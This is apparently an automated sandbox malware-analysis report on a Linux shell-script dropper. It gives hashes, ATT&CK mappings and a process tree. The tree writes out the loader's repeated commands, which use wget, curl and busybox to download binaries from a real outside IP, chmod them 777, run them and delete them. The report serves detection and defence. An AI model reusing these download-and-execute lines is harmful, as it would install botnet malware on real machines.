aa660012227ebc6c0ca9ee84cda1e9441e472474743484aa5833e042ed21ba9b

Analysis

max time kernel
17s
max time network
18s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
08/11/2024, 01:57

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
d38041d0df75b22f18e6bb41d57d2f885cd496e4dd6665bbdec13f0527058982.sh
Size 10KB
Sample241108-cdnyys1rfv
SHA256 d38041d0df75b22f18e6bb41d57d2f885cd496e4dd6665bbdec13f0527058982
MD5 fa4dbb1430d89cfe91017326f4db49b1
SHA1 7d47c3c5edca38d91b76e48df8b267bcba1fa89f
SHA512 771ba2a17fd0e9c475bcebeef445ed17d83bd9baf2d8eca3c0094ade3e1993a32203f0a00fc9f941cdf6c5b82d63379ada249c9bc6a8de3c577261a7b8c55462
SSDEEP 96:zpmKXwQfHdbXbvbabDbXboM/iG28q63iyfLHHXmpbXbvbabDbXbeM9NNSiG28q6b:zpmKXwQfHzDkisLBkmKXwQh
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 13 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
791	chmod
815	chmod
829	chmod
743	chmod
696	chmod
723	chmod
759	chmod
784	chmod
797	chmod
803	chmod
809	chmod
680	chmod
821	chmod

Executes dropped EXE 13 IoCs

ioc	pid	Process
/tmp/wTwJ631Bka7zbtn08Msy7YmKOnL5lHVD0L	681	wTwJ631Bka7zbtn08Msy7YmKOnL5lHVD0L
/tmp/gFoVn9VJOMOBUdPmqWvHT0iMvTlKo3pWBj	698	gFoVn9VJOMOBUdPmqWvHT0iMvTlKo3pWBj
/tmp/RqYznfpQysNmg76fpNRFuI3lGXDI9WGvJ1	724	RqYznfpQysNmg76fpNRFuI3lGXDI9WGvJ1
/tmp/GeC2u5ukd8oBK4CdnGg7EXXCxIfXfp3Egz	744	GeC2u5ukd8oBK4CdnGg7EXXCxIfXfp3Egz
/tmp/EZsJ81rmXLeUhwkLNjzD7d8yeC2qC4eNEJ	760	EZsJ81rmXLeUhwkLNjzD7d8yeC2qC4eNEJ
/tmp/dnGm2McV8W5rTK8kcwDUSPQo5z7cHwMwiu	785	dnGm2McV8W5rTK8kcwDUSPQo5z7cHwMwiu
/tmp/nV6bwFC7N6cUfKnU5iTPdtJfiMNZEyfar1	792	nV6bwFC7N6cUfKnU5iTPdtJfiMNZEyfar1
/tmp/ONyms2Gb8JLxPFBJxyd3eNLCRnCH8GpNJc	798	ONyms2Gb8JLxPFBJxyd3eNLCRnCH8GpNJc
/tmp/J1Ov58q5j2828ksR58dAqHC3xjyJFNpVvi	804	J1Ov58q5j2828ksR58dAqHC3xjyJFNpVvi
/tmp/WalxR6xsyR9eVHSeeYlBHEu2fitxzcsswd	810	WalxR6xsyR9eVHSeeYlBHEu2fitxzcsswd
/tmp/aHBqKHoC7x6TTOa2C5Mgj2AWWYLQkMwKPf	816	aHBqKHoC7x6TTOa2C5Mgj2AWWYLQkMwKPf
/tmp/0hM5IRbrIbVKtADyJWJ4OfdYMwd1fAxIlO	822	0hM5IRbrIbVKtADyJWJ4OfdYMwd1fAxIlO
/tmp/MuvurEGXQR2GLdAEyUYs6I11QR8ncQsJx7	830	MuvurEGXQR2GLdAEyUYs6I11QR8ncQsJx7

Checks CPU configuration 1 TTPs 13 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 26 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl

Writes file to tmp directory 13 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/MuvurEGXQR2GLdAEyUYs6I11QR8ncQsJx7	curl
File opened for modification	/tmp/gFoVn9VJOMOBUdPmqWvHT0iMvTlKo3pWBj	curl
File opened for modification	/tmp/GeC2u5ukd8oBK4CdnGg7EXXCxIfXfp3Egz	curl
File opened for modification	/tmp/nV6bwFC7N6cUfKnU5iTPdtJfiMNZEyfar1	curl
File opened for modification	/tmp/J1Ov58q5j2828ksR58dAqHC3xjyJFNpVvi	curl
File opened for modification	/tmp/aHBqKHoC7x6TTOa2C5Mgj2AWWYLQkMwKPf	curl
File opened for modification	/tmp/WalxR6xsyR9eVHSeeYlBHEu2fitxzcsswd	curl
File opened for modification	/tmp/0hM5IRbrIbVKtADyJWJ4OfdYMwd1fAxIlO	curl
File opened for modification	/tmp/wTwJ631Bka7zbtn08Msy7YmKOnL5lHVD0L	curl
File opened for modification	/tmp/RqYznfpQysNmg76fpNRFuI3lGXDI9WGvJ1	curl
File opened for modification	/tmp/EZsJ81rmXLeUhwkLNjzD7d8yeC2qC4eNEJ	curl
File opened for modification	/tmp/dnGm2McV8W5rTK8kcwDUSPQo5z7cHwMwiu	curl
File opened for modification	/tmp/ONyms2Gb8JLxPFBJxyd3eNLCRnCH8GpNJc	curl

/tmp/d38041d0df75b22f18e6bb41d57d2f885cd496e4dd6665bbdec13f0527058982.sh
/tmp/d38041d0df75b22f18e6bb41d57d2f885cd496e4dd6665bbdec13f0527058982.sh
1⤵
PID:647
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:649
- /usr/bin/wget
  wget http://87.120.84.230/bins/wTwJ631Bka7zbtn08Msy7YmKOnL5lHVD0L
  2⤵
  PID:651
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/wTwJ631Bka7zbtn08Msy7YmKOnL5lHVD0L
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:670
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/wTwJ631Bka7zbtn08Msy7YmKOnL5lHVD0L
  2⤵
  PID:678
- /bin/chmod
  chmod 777 wTwJ631Bka7zbtn08Msy7YmKOnL5lHVD0L
  2⤵
  - File and Directory Permissions Modification
  PID:680
- /tmp/wTwJ631Bka7zbtn08Msy7YmKOnL5lHVD0L
  ./wTwJ631Bka7zbtn08Msy7YmKOnL5lHVD0L
  2⤵
  - Executes dropped EXE
  PID:681
- /bin/rm
  rm wTwJ631Bka7zbtn08Msy7YmKOnL5lHVD0L
  2⤵
  PID:682
- /usr/bin/wget
  wget http://87.120.84.230/bins/gFoVn9VJOMOBUdPmqWvHT0iMvTlKo3pWBj
  2⤵
  PID:683
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/gFoVn9VJOMOBUdPmqWvHT0iMvTlKo3pWBj
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:684
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/gFoVn9VJOMOBUdPmqWvHT0iMvTlKo3pWBj
  2⤵
  PID:691
- /bin/chmod
  chmod 777 gFoVn9VJOMOBUdPmqWvHT0iMvTlKo3pWBj
  2⤵
  - File and Directory Permissions Modification
  PID:696
- /tmp/gFoVn9VJOMOBUdPmqWvHT0iMvTlKo3pWBj
  ./gFoVn9VJOMOBUdPmqWvHT0iMvTlKo3pWBj
  2⤵
  - Executes dropped EXE
  PID:698
- /bin/rm
  rm gFoVn9VJOMOBUdPmqWvHT0iMvTlKo3pWBj
  2⤵
  PID:699
- /usr/bin/wget
  wget http://87.120.84.230/bins/RqYznfpQysNmg76fpNRFuI3lGXDI9WGvJ1
  2⤵
  PID:701
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/RqYznfpQysNmg76fpNRFuI3lGXDI9WGvJ1
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:710
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/RqYznfpQysNmg76fpNRFuI3lGXDI9WGvJ1
  2⤵
  PID:717
- /bin/chmod
  chmod 777 RqYznfpQysNmg76fpNRFuI3lGXDI9WGvJ1
  2⤵
  - File and Directory Permissions Modification
  PID:723
- /tmp/RqYznfpQysNmg76fpNRFuI3lGXDI9WGvJ1
  ./RqYznfpQysNmg76fpNRFuI3lGXDI9WGvJ1
  2⤵
  - Executes dropped EXE
  PID:724
- /bin/rm
  rm RqYznfpQysNmg76fpNRFuI3lGXDI9WGvJ1
  2⤵
  PID:726
- /usr/bin/wget
  wget http://87.120.84.230/bins/GeC2u5ukd8oBK4CdnGg7EXXCxIfXfp3Egz
  2⤵
  PID:727
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/GeC2u5ukd8oBK4CdnGg7EXXCxIfXfp3Egz
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:736
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/GeC2u5ukd8oBK4CdnGg7EXXCxIfXfp3Egz
  2⤵
  PID:742
- /bin/chmod
  chmod 777 GeC2u5ukd8oBK4CdnGg7EXXCxIfXfp3Egz
  2⤵
  - File and Directory Permissions Modification
  PID:743
- /tmp/GeC2u5ukd8oBK4CdnGg7EXXCxIfXfp3Egz
  ./GeC2u5ukd8oBK4CdnGg7EXXCxIfXfp3Egz
  2⤵
  - Executes dropped EXE
  PID:744
- /bin/rm
  rm GeC2u5ukd8oBK4CdnGg7EXXCxIfXfp3Egz
  2⤵
  PID:745
- /usr/bin/wget
  wget http://87.120.84.230/bins/EZsJ81rmXLeUhwkLNjzD7d8yeC2qC4eNEJ
  2⤵
  PID:746
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/EZsJ81rmXLeUhwkLNjzD7d8yeC2qC4eNEJ
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:747
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/EZsJ81rmXLeUhwkLNjzD7d8yeC2qC4eNEJ
  2⤵
  PID:754
- /bin/chmod
  chmod 777 EZsJ81rmXLeUhwkLNjzD7d8yeC2qC4eNEJ
  2⤵
  - File and Directory Permissions Modification
  PID:759
- /tmp/EZsJ81rmXLeUhwkLNjzD7d8yeC2qC4eNEJ
  ./EZsJ81rmXLeUhwkLNjzD7d8yeC2qC4eNEJ
  2⤵
  - Executes dropped EXE
  PID:760
- /bin/rm
  rm EZsJ81rmXLeUhwkLNjzD7d8yeC2qC4eNEJ
  2⤵
  PID:761
- /usr/bin/wget
  wget http://87.120.84.230/bins/dnGm2McV8W5rTK8kcwDUSPQo5z7cHwMwiu
  2⤵
  PID:763
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/dnGm2McV8W5rTK8kcwDUSPQo5z7cHwMwiu
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:771
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/dnGm2McV8W5rTK8kcwDUSPQo5z7cHwMwiu
  2⤵
  PID:778
- /bin/chmod
  chmod 777 dnGm2McV8W5rTK8kcwDUSPQo5z7cHwMwiu
  2⤵
  - File and Directory Permissions Modification
  PID:784
- /tmp/dnGm2McV8W5rTK8kcwDUSPQo5z7cHwMwiu
  ./dnGm2McV8W5rTK8kcwDUSPQo5z7cHwMwiu
  2⤵
  - Executes dropped EXE
  PID:785
- /bin/rm
  rm dnGm2McV8W5rTK8kcwDUSPQo5z7cHwMwiu
  2⤵
  PID:787
- /usr/bin/wget
  wget http://87.120.84.230/bins/nV6bwFC7N6cUfKnU5iTPdtJfiMNZEyfar1
  2⤵
  PID:788
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/nV6bwFC7N6cUfKnU5iTPdtJfiMNZEyfar1
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:789
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/nV6bwFC7N6cUfKnU5iTPdtJfiMNZEyfar1
  2⤵
  PID:790
- /bin/chmod
  chmod 777 nV6bwFC7N6cUfKnU5iTPdtJfiMNZEyfar1
  2⤵
  - File and Directory Permissions Modification
  PID:791
- /tmp/nV6bwFC7N6cUfKnU5iTPdtJfiMNZEyfar1
  ./nV6bwFC7N6cUfKnU5iTPdtJfiMNZEyfar1
  2⤵
  - Executes dropped EXE
  PID:792
- /bin/rm
  rm nV6bwFC7N6cUfKnU5iTPdtJfiMNZEyfar1
  2⤵
  PID:793
- /usr/bin/wget
  wget http://87.120.84.230/bins/ONyms2Gb8JLxPFBJxyd3eNLCRnCH8GpNJc
  2⤵
  PID:794
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/ONyms2Gb8JLxPFBJxyd3eNLCRnCH8GpNJc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:795
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/ONyms2Gb8JLxPFBJxyd3eNLCRnCH8GpNJc
  2⤵
  PID:796
- /bin/chmod
  chmod 777 ONyms2Gb8JLxPFBJxyd3eNLCRnCH8GpNJc
  2⤵
  - File and Directory Permissions Modification
  PID:797
- /tmp/ONyms2Gb8JLxPFBJxyd3eNLCRnCH8GpNJc
  ./ONyms2Gb8JLxPFBJxyd3eNLCRnCH8GpNJc
  2⤵
  - Executes dropped EXE
  PID:798
- /bin/rm
  rm ONyms2Gb8JLxPFBJxyd3eNLCRnCH8GpNJc
  2⤵
  PID:799
- /usr/bin/wget
  wget http://87.120.84.230/bins/J1Ov58q5j2828ksR58dAqHC3xjyJFNpVvi
  2⤵
  PID:800
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/J1Ov58q5j2828ksR58dAqHC3xjyJFNpVvi
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:801
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/J1Ov58q5j2828ksR58dAqHC3xjyJFNpVvi
  2⤵
  PID:802
- /bin/chmod
  chmod 777 J1Ov58q5j2828ksR58dAqHC3xjyJFNpVvi
  2⤵
  - File and Directory Permissions Modification
  PID:803
- /tmp/J1Ov58q5j2828ksR58dAqHC3xjyJFNpVvi
  ./J1Ov58q5j2828ksR58dAqHC3xjyJFNpVvi
  2⤵
  - Executes dropped EXE
  PID:804
- /bin/rm
  rm J1Ov58q5j2828ksR58dAqHC3xjyJFNpVvi
  2⤵
  PID:805
- /usr/bin/wget
  wget http://87.120.84.230/bins/WalxR6xsyR9eVHSeeYlBHEu2fitxzcsswd
  2⤵
  PID:806
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/WalxR6xsyR9eVHSeeYlBHEu2fitxzcsswd
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:807
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/WalxR6xsyR9eVHSeeYlBHEu2fitxzcsswd
  2⤵
  PID:808
- /bin/chmod
  chmod 777 WalxR6xsyR9eVHSeeYlBHEu2fitxzcsswd
  2⤵
  - File and Directory Permissions Modification
  PID:809
- /tmp/WalxR6xsyR9eVHSeeYlBHEu2fitxzcsswd
  ./WalxR6xsyR9eVHSeeYlBHEu2fitxzcsswd
  2⤵
  - Executes dropped EXE
  PID:810
- /bin/rm
  rm WalxR6xsyR9eVHSeeYlBHEu2fitxzcsswd
  2⤵
  PID:811
- /usr/bin/wget
  wget http://87.120.84.230/bins/aHBqKHoC7x6TTOa2C5Mgj2AWWYLQkMwKPf
  2⤵
  PID:812
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/aHBqKHoC7x6TTOa2C5Mgj2AWWYLQkMwKPf
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:813
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/aHBqKHoC7x6TTOa2C5Mgj2AWWYLQkMwKPf
  2⤵
  PID:814
- /bin/chmod
  chmod 777 aHBqKHoC7x6TTOa2C5Mgj2AWWYLQkMwKPf
  2⤵
  - File and Directory Permissions Modification
  PID:815
- /tmp/aHBqKHoC7x6TTOa2C5Mgj2AWWYLQkMwKPf
  ./aHBqKHoC7x6TTOa2C5Mgj2AWWYLQkMwKPf
  2⤵
  - Executes dropped EXE
  PID:816
- /bin/rm
  rm aHBqKHoC7x6TTOa2C5Mgj2AWWYLQkMwKPf
  2⤵
  PID:817
- /usr/bin/wget
  wget http://87.120.84.230/bins/0hM5IRbrIbVKtADyJWJ4OfdYMwd1fAxIlO
  2⤵
  PID:818
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/0hM5IRbrIbVKtADyJWJ4OfdYMwd1fAxIlO
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:819
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/0hM5IRbrIbVKtADyJWJ4OfdYMwd1fAxIlO
  2⤵
  PID:820
- /bin/chmod
  chmod 777 0hM5IRbrIbVKtADyJWJ4OfdYMwd1fAxIlO
  2⤵
  - File and Directory Permissions Modification
  PID:821
- /tmp/0hM5IRbrIbVKtADyJWJ4OfdYMwd1fAxIlO
  ./0hM5IRbrIbVKtADyJWJ4OfdYMwd1fAxIlO
  2⤵
  - Executes dropped EXE
  PID:822
- /bin/rm
  rm 0hM5IRbrIbVKtADyJWJ4OfdYMwd1fAxIlO
  2⤵
  PID:823
- /usr/bin/wget
  wget http://87.120.84.230/bins/MuvurEGXQR2GLdAEyUYs6I11QR8ncQsJx7
  2⤵
  PID:824
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/MuvurEGXQR2GLdAEyUYs6I11QR8ncQsJx7
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:825
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/MuvurEGXQR2GLdAEyUYs6I11QR8ncQsJx7
  2⤵
  PID:827
- /bin/chmod
  chmod 777 MuvurEGXQR2GLdAEyUYs6I11QR8ncQsJx7
  2⤵
  - File and Directory Permissions Modification
  PID:829
- /tmp/MuvurEGXQR2GLdAEyUYs6I11QR8ncQsJx7
  ./MuvurEGXQR2GLdAEyUYs6I11QR8ncQsJx7
  2⤵
  - Executes dropped EXE
  PID:830
- /bin/rm
  rm MuvurEGXQR2GLdAEyUYs6I11QR8ncQsJx7
  2⤵
  PID:831
- /usr/bin/wget
  wget http://87.120.84.230/bins/cSh9DEaemKtcvSG6nSxHZzVojJSO03u840
  2⤵
  PID:832

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

wTwJ631Bka7zbtn08Msy7YmKOnL5lHVD0L

Path /tmp/wTwJ631Bka7zbtn08Msy7YmKOnL5lHVD0L
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads